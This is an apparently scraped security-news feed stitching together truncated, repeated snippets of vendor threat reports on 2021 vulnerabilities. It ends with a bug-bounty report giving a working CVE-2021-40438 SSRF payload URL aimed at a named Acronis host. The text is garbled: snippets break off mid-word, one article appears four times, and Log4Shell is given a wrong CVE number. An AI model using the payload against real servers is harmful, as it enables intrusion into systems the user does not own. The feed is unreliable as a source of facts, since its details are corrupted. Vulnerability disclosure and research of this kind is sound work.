To protect enterprises against m
Unit42
Network Security Trends: August-October 2021
blogs_unit42·2021-12-21·CVSS 9.8
[CRITICAL] Network Security Trends: August-October 2021
## Executive Summary
Unit 42 researchers continually observe network attacks and search for insights that can assist defenders. Here, we summarize key trends from August-October 2021. In the following sections, we present our analysis of the most recently published vulnerabilities, including the severity distribution. We also classify vulnerabilities to provide a clear view of the prevalence of, say, cross-site scripting or denial of service.
Additionally, we provide insight into how the vulnerabilities are actively exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. For example, we chart a timeframe showing how frequently the most commonly exploited vulnerabilities were attacked through networks and the locations from which the att
Unit42
Network Security Trends: August-October 2021
blogs_unit42·2021-12-21·CVSS 9.8
CVE-2021-24499 [CRITICAL] Network Security Trends: August-October 2021
Threat Research Center
Trend Reports
Vulnerabilities
## Network Security Trends: August-October 2021
Yue Guan
Published: December 21, 2021
Trend Reports
Vulnerabilities
Attack analysis
Buffer Overflow
Command injection
Cross-site request forgery
Cross-site scripting
CVE-2021-24499
CVE-2021-26084
CVE-2021-32789
CVE-2021-33357
CVE-2021-33766
CVE-2021-34473
CVE-2021-35395
CVE-2021-38647
CVE-2021-40438
CVE-2021-40870
CVE-2021-41773
CVE-2021-42013
Denial of service
Directory traversal
Exploit in the wild
Improper authentication
Information disclosure
Memory corruption
Network security trends
Out-of-bounds read
Privilege escalation
Remote Code Execution
Security feature bypass
SQL injection
## Executive Summary
Unit 42 researchers continually observe net
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Red
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana Dec 21, 2021 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthentica
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
# How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana
2021/12/21
Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j, a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell, can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthentica
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana 2021/12/21 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthenti
Trendmicro
How to detect Apache HTTP Server Exploitation
blogs_trendmicro·2021-12-21·CVSS 9.0
CVE-2021-4428 [CRITICAL] How to detect Apache HTTP Server Exploitation
Network
## How to detect Apache HTTP Server Exploitation
With recent news of the critical, zero-day vulnerability Apache Log4Shell, we explore how to detect and protect your Apache HTTP servers.
By: Nitesh Surana Dec 21, 2021 Read time: ( words)
Save to Folio
On December 9, news that a vulnerability in Apache Log4j , a commonly used logging package for Java, was found. If exploited, the vulnerability, officially identified as CVE-2021-4428 and dubbed Log4Shell , can result in remote code execution (RCE) by sending crafted log messaged. If you’re using any of the affected products (Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter), you can use our Log4j vulnerability tester to identify any vulnerable server applications.
Similar sever, unauthen
Trendmicro
Über Schwachstellen zum illegalen Monero-Mining
blogs_trendmicro·2021-12-03·CVSS 9.8
[CRITICAL] Über Schwachstellen zum illegalen Monero-Mining
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Trend Micro Dec 03, 2021 Read time: ( words)
Save to Folio
Originalbeitrag von Nitesh Surana, Threat Research Engineer
Anhänger der Kryptowährungen durchleben schwere Zeiten. Der Bitcoin stürzte ab und es gab aktuell einige Angriffsversuche , so berichtet vom Magazin Spiegel. Auch entdeckten wir vor ein paar Wochen kompromittierte Docker Hub-Konten , die für illegales Kryptowährungs-Mining missbraucht wurden. Nun haben wir uns auch mit entdeckten Exploit-Versuchen und dem Missbrauch der legitimen Plattformen Netlify und GitHub als Repositories für Malwa
Trendmicro
Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
# Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana
2021/12/03
Read time: ( words)
Save to Folio
Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed
Checkpoint
18th October – Threat Intelligence Report
blogs_checkpoint·2021-10-18
CVE-2021-40449 18th October – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 18th October – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 18th October, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
Israeli Medical Center Hillel Yaffe has been targeted by ransomware affecting the hospital’s computer systems, which have been working in a limited capacity since the attack occurred.
Russia-based group TA505 is running a new email phishing campaign dubbed MirrorBlast, targeting financial organizations with malicious mac
HackerOne
CVE-2021-40438 on cp-eu2.acronis.com
hackerone·2022-07-13·CVSS 9.0
CVE-2021-40438 [CRITICAL] CVE-2021-40438 on cp-eu2.acronis.com
CVE-2021-40438 on cp-eu2.acronis.com
Hi team
## Summary
CVE-2021-40438 on cp-eu2.acronis.com
## Steps To Reproduce
`
https://cp-eu2.acronis.com?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdfhttps://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2eb200ac1340f69aa22af61ab34780c531d110437910cb9c0ece3b37%40%3Cbugs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r3925e167d5eb1c75def3750c155d753064e1d34a143028bb32910432%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r61fdbfc26ab170f4e6492ef3bd5197c20b862ce156e9d5a54d4b899c%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r82838efc5fa6fc4c73986399c9b71573589f78b31846aff5bd9b1697%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r82c077663f9759c7df5a6656f925b3ee4f55fcd33c889ba7cd687029%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6954e60b1c8e480678ce3d02f61b8a788997785652e9557a3265c00%40%3Cusers.httpd.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2021/10/msg00001.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SPBR6WUYBJNACHKE65SPL7TJOHX7RHWD/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZNCYSR3BXT36FFF4XTCPL3HDQK4VP45R/https://security.gentoo.org/glsa/202208-20https://security.netapp.com/advisory/ntap-20211008-0004/https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-2.4.49-VWL69sWQhttps://www.debian.org/security/2021/dsa-4982https://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.tenable.com/security/tns-2021-17https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdfhttps://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2eb200ac1340f69aa22af61ab34780c531d110437910cb9c0ece3b37%40%3Cbugs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r3925e167d5eb1c75def3750c155d753064e1d34a143028bb32910432%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r61fdbfc26ab170f4e6492ef3bd5197c20b862ce156e9d5a54d4b899c%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r82838efc5fa6fc4c73986399c9b71573589f78b31846aff5bd9b1697%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r82c077663f9759c7df5a6656f925b3ee4f55fcd33c889ba7cd687029%40%3Cusers.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6954e60b1c8e480678ce3d02f61b8a788997785652e9557a3265c00%40%3Cusers.httpd.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2021/10/msg00001.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SPBR6WUYBJNACHKE65SPL7TJOHX7RHWD/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZNCYSR3BXT36FFF4XTCPL3HDQK4VP45R/https://security.gentoo.org/glsa/202208-20https://security.netapp.com/advisory/ntap-20211008-0004/https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-2.4.49-VWL69sWQhttps://www.debian.org/security/2021/dsa-4982https://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.tenable.com/security/tns-2021-17https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-40438
2021-09-16
Published
2021-12-01
Added to CISA KEV
Exploited in the wild